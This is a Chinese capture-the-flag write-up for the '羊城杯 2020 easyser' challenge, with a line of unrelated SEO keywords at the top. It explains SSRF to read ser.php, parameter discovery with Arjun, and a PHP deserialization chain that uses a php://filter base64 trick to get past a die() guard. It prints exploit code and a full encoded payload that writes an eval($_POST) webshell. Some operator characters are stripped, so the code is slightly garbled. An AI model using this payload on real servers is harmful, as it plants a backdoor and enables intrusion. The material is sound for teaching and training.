做网站广告联盟赚钱,购物平台网站建设流程,汽车后市场互联网公司排名,iis 提示网站到期NSS [羊城杯 2020]easyser
开题。很容易让人觉得环境坏了。 不要慌#xff0c;无从下手时。看源码、扫目录、抓包。一套操作下来#xff0c;发现几个可以下手的路由。 /index.php /robots.txt 访问 /star1.php#xff0c;一说到百度#xff0c;就猜测是否存在SSRF。 源码中…NSS [羊城杯 2020]easyser
开题。很容易让人觉得环境坏了。 不要慌·无从下手时。看源码、扫目录、抓包。一套操作下来发现几个可以下手的路由。 /index.php /robots.txt 访问 /star1.php一说到百度就猜测是否存在SSRF。 源码中有提示更加确定是SSRF了。 SSRF进内网读取ser.php成功读取。
http://127.0.0.1/ser.php好家伙有源码没有反序列化入口
没关系我们可以用一个工具arjun
kali上安装
pip3.8 install arjun使用
arjun -u URL详细使用方法
https://github.com/s0md3v/Arjun/wiki/Usage用 Arjun 来扫描 http参数。 star1.php 页面除了 path 参数还有一个 c 参数。Arjun显示发现c的原理是根据响应的body的长度后续通过分析代码发现不设置参数c会显示your hat is too black!存在参数c就不会显示任何内容所以的确是可以根据响应长度来发现参数。c 就是反序列化的入口。但是不知道他是如何反序列化的。
桌面root终端直接用就行了
arjun -u http://node4.anna.nssctf.cn:28617/star1.php?pathhttp://127.0.0.1/ser.php不知道为什么2.2.1版本的没跑出来用一下别的师傅的图。 即使不知道他是怎么反序列化的我们依然能做。分析源码我们的重点肯定是Yongen::hasaki()在这个方法里面绕过死亡die同时写马到文件。死亡die用rot13或者base64都能绕过。通过base64解密或rot13解密使?php die(nononon);?变为乱码而传入的$text为base64编码解码后为正常shell语句。通过这种方式使前者失效。
链子如下
GWHT::__construct()-GWHT::__toString()-Yongen::hasaki()exp用string.strip_tags 将?php?全部删掉再base64解码
?phpclass GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file;public $text;
}$anew GWHT;
$a-heronew Yongen;
$a-hero-filephp://filter/writestring.strip_tags|convert.base64-decode/resource1.php;
$a-hero-textPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8;echo urlencode(serialize($a));payload:
/star1.php?pathhttp://127.0.0.1/ser.phpcO%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A73%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3D1.php%22%3Bs%3A4%3A%22text%22%3Bs%3A32%3A%22PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%22%3B%7D%7D访问1.phpgetshell。